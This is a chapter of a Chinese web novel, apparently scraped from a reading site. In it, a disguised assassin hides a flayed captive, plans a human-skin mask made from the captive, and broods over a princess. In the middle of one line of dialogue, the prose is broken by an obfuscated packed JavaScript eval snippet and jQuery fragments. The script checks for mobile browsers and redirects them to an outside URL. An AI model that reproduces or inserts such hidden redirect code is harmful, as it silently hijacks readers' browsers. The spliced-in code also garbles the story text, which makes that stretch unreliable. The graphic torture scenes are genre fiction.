默认冷灰
24号文字
方正启体

37. 反思

作者:十九笙本书字数:K更新时间:
    “能啊。”明榆道,“你想吃什么?”


    闻宴笑了笑,“只要是郡主给的我都喜欢。”


    他能说他想吃人么……


    当然,也不是什么人都想吃的,不过她看起来就挺好吃的……


    “你刚刚为什么突然就走了?”


    “没有突然就走了啊?”闻宴睁大眼睛。


    明榆脸颊鼓起,他说的那般真诚,不像有假,她也开始摇摆不定,“没吗?”


    “没啊,我说了告退。”


    “这样吗……”


    这会儿明榆没在出声了,一边拧干帕子一边思考,然后替闻宴擦干手,擦到一半回过味来了,扭头对他说:“不对,我让你走了吗?”


    装成凶巴巴的样子在闻宴眼里还挺可爱的。


    “郡主当时没出声,不是默认了?”


    “我喊你了。”明榆发现闻宴的袖子弄湿了,想帮他把袖子卷起来。许是为了行事方便,闻宴都穿窄袖戴护腕,明榆要把护腕解开时,闻宴突然把手抽回去了。


    “我好像听见了。”


    明榆被闻宴的话转移了注意力,“听见了还走?”


    “我以为我是好像听见了。”闻宴把手放到背后,把里衣染红的袖口往回塞了塞。


    明榆抓起他的衣角往屋里走去,霸道说:“我不要你以为,我要我以为。”


    就在跨过门槛时,闻宴一把把明榆拽了出来,振振有词道:“去我房间干嘛?”他又往里瞟了一眼,目光似有若无的落在了桌子上。


    这把明榆问住了,对啊,去他房间干嘛?脑子里刚刚记着的事怎么突然就忘了,想不起来了。


    “对哦。”


    她发现每次找闻宴说事总是说着说着就岔开了。


    “那就站着说吧。”明榆道,“明天能陪我去个地方吗?”


    闻宴似是在考量着什么,许久才答道:“好。”


    诶?她要去找玄枵,带着闻宴岂不是送上门?上次,玄枵说过闻宴是叛徒,被逮住了就会被扒皮拆骨。


    她是脑子糊涂了吧让闻宴陪她去。


    “算了,不用你陪了,你在府里好好休息吧。”


    闻宴声音有些干涩,“好。”


    接着,两人大眼瞪小眼,空气有一瞬间的凝固。


    “我……走了?”明榆率先开口。


    闻宴乖乖地点头。


    明榆其实还想和他说话,但又无从说起,而且被他看时间长了,就会不好意思。


    好像……好像能被他看穿似的,明明什么也没有发生,她竟然会心跳如雷。尤其是刚刚给他擦手的时候。


    明榆低头看了一下自己的手,仿佛还有他残留的温度。


    他的手指修长,而且很有力量。


    好看。


    明榆的脸颊快烧起来了,幸好走了,不然就要被他看见了。


    她这不会是得了什么心病吧……回头找个大夫好好瞧瞧。


    闻宴走入房中,合上了门。他拿起桌上的一块人皮,又看了眼明榆离开的那个方向。


    这次是他大意了,不过以他对明榆的了解,若他不在房中,她自不会踏入。


    闻宴眉宇间凝着阴翳,不过一想到明榆居然会特地来找他说话那股郁气便散了,眼尾弯起,心情大好。


    心情好,他就不想再见血。


    闻宴撩起里间的帘子,地上躺着一个五花大绑的人,那人嘴里还塞着布条,只能发出“呜呜”声。


    他想翻身,浑身却像被抽干血一样毫无力气,眦目欲裂,眼睛里充满血丝,似是要把眼之人活活吞下。好不容易翻了身,露出血淋淋的后背。


    “啧,啧。”闻宴遗憾地摇了摇头,“好惨呐。”


    闻宴摩挲着手上的人皮,评价道:“皮肤粗糙,一点儿也不好。”


    陆连办事从未失手过,这次不仅失手了,还被人这般羞辱,偏偏又求生不得求死不能。


    天气渐热,陆连后背的伤要是不及时处理,很快就会发炎溃烂,还可能化脓生蛆。


    闻宴走到柜子边,往下数两格一摁。


    书柜从中间向两边打开,后面赫然是一道地下密室。闻宴把陆连往拎起来往里面一丢,再顺手把密室的门关上。


    景明早就在里面等候多时了,见自家主子来了,又舔着个笑脸,又是给玄枵拍拍衣摆根本不存在的灰。


    当他看到地上躺着的陆连时又网上踹了两脚,“是你天天盯着少主的是吧?”


    “就是你让少主劳神费心的是吧?”


    景明感觉还是不解气,又怕把人弄死了,就踢了两下以表愤怒。


    玄枵一脸嫌弃地看着景明,眼神褪去了温度,看的景明直打哆嗦。


    景明龇着大牙,讪讪道:“我这是在给您出气呢。”


    玄枵抱着手,皮笑肉不笑。


    从玄枵进来时,景明就察觉到不对劲了,凭他察言观色的本事直到自己肯定是干了坏事被逮到了,要不然就是少主知道那件事了?


    但是,现在献殷勤好像也不管用了……


    “怎……么了?”


    “你说呢?”


    景明飞速地把脑子里这段事过了一遍,“没啊。”


    话音未落,景明的脑袋上就被重重一敲。


    “我平日里叫你读书写字都干什么去了?”玄枵道,“就写四个字,写成那个鬼样子?”


    星宿楼的人自小在苗疆长大,在大齐攻破苗疆后他们才来的中原,因此对中原用的篆体不熟悉。


    等星宿楼在中原站稳脚跟后,大祭司也就是现在的国师苍梧安排过夫子教书。然而,景明这呆头呆脑的家伙一直学不会还喜欢偷懒。


    没办法,玄枵便特地给景明空了时间,让他读书写字。


    结果呢?!


    景明眼见形势不对,收了笑撇着嘴,道:“真的学不会。”


    “回去把书抄十遍你就会了。”玄枵也不想听他解释,他还不了解他么,无非就是叫他读书写字的时候去找他的相好的,然后又要吹嘘一番他多讨姑娘欢心,再然后就是给自己出一些馊主意……


    明榆才不喜欢那些花里胡哨的。


    “哦。”景明还有些不服气,但也不敢吱声。


    玄枵把手里的人皮给了景明,“就用陆大人的皮做一张他自己的人皮面具吧


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13735260|136033||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。”


    他蹲下身子阴恻恻道:“这样你死了,就还有一个‘陆连’替你给萧蔚川效力,多好啊。”


    若是玄枵不说这番话,陆连尚有一丝生机;可偏偏他说了,那此人就绝无活的可能了。


    景明亦明白这个道理,站在一旁毛骨悚然,同情地看了眼陆连,也心疼了一下自己,因为他一会儿又要扛尸又要消失灭迹。


    “萧蔚川最近有什么动作吗?”


    景明道:“他最近深得老皇帝的欢心,老皇帝把盟山围猎相关事宜交给他负责,不过他以要老皇帝身边尽孝推脱了,明面上也没大动作。”


    明面上没有大动作,那就是暗地里了。萧蔚川派陆连盯着王府,不光盯着明榆还盯着他的一言一行。


    要不是陆连发现了密室,玄枵还打算再周旋些时日。


    “楼里傀儡蛊练得如何了?”


    说到这,景明不由得连连叹气,“练蛊的人不够,而且我们的人每次行动都有便衣亲卫军的阻拦。”


    “大概还差多少?”


    “莫约几百只。”


    若在一人身上种下母蛊,等子蛊成茧破躯体而出最多也就三只,然后母蛊死亡。


    玄枵乜了他一眼,“一两百也是几百,八九百也是几百,”


    景明汗颜道:“额……六七百吧。”他偷偷瞄了一眼玄枵的表情,以为他下一刻就要发火,结果玄枵并没有什么太大反应。


    “老皇帝没几日可活了,到现在还不立储君,萧蔚川居然还能坐的住。”玄枵冷哼了一声,“他当真不急?”


    这可不像萧蔚川的性子,前几年急于立功,不就是为了储君的位子么,现在反倒淡薄了?


    景明支支吾吾的,半天也憋不出一个字。


    “其实……有。”景明一副慷慨赴死的表情,一口作气道,“他向皇帝求了赐婚圣旨了。”


    玄枵愣住了。


    “真的?”


    景明掀起一只眼皮,“真的。”


    玄枵一言不发地扭头就出了密室,景明很识趣地自个儿把地上的人拖走,从密道离开了。


    密道很长,一头连着这间房,一头连着星宿楼楼底的血狱。


    闻宴又按了一次暗格,地下密室的门合上后书架也从两边归位。


    他的脸色黑的吓人,阴沉沉的,起初还能保持冷静,再然后逐渐暴躁起来,后悔刚刚没有杀了陆连,现在无处发泄。


    衣袖下的手攥的很紧,闻宴撸起衣袖,看着手腕上那道消不掉的疤,十分不解,明明已经种下圣蛊了,可效果甚微,明榆到现在也不说喜欢他。


    诶?反过来想,自己可以对她说喜欢啊……


    闻宴又靠在椅子上,仔细回想着她对旁人与对自己的不同。她会对自己笑,可她也会对其他人笑;她送了自己一件衣服,但其他人也有,甚至连那条懒蛇都有;她和自己说话会脸红,和萧蔚川说话脸红过吗?


    他没见过,不知道。


    烦,无从下手。


    随后,闻宴又从怀中掏出了随身携带的话本子,翻到新折的那一页,仔细地研究起来,取来朱砂笔,一边读一边在旁边批注。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)